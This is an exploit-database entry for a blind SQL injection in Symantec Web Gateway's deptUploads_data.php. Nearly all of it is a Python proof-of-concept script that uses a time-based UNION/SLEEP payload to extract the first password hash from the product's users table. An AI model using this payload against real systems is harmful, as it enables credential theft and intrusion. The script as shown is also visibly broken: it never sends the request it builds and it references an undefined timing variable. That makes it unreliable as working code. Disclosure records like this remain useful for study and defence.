Symantec Web Gateway (deptUploads_data.php) Blind SQL Injection Vulnerability

ID 1337DAY-ID-19078
Type zdt
Reporter @_Kc57
Modified 2012-07-30T00:00:00


Exploit for php platform in category web applications

# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db
import urllib
import time
from time import sleep
checks = 0
def check_char(i, pos):
    global timimg
    global checks
    checks += 1
    url = ' union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
    start = time.time()
    end = time.time()
    howlong = end-start
    return howlong
def check_pos(pos):
    for m in range(0,16):
        output = check_char(m, pos)
        print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
        if output > 2:
            return hex(m)[2:]
md5 = ''
start = time.time()
for y in range(1,33):
    print "Checking position %s" % (y)
    md5 += check_pos(y)
    print md5
    end = time.time()
    howlong = end-start
print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong)

# [2018-01-05]  #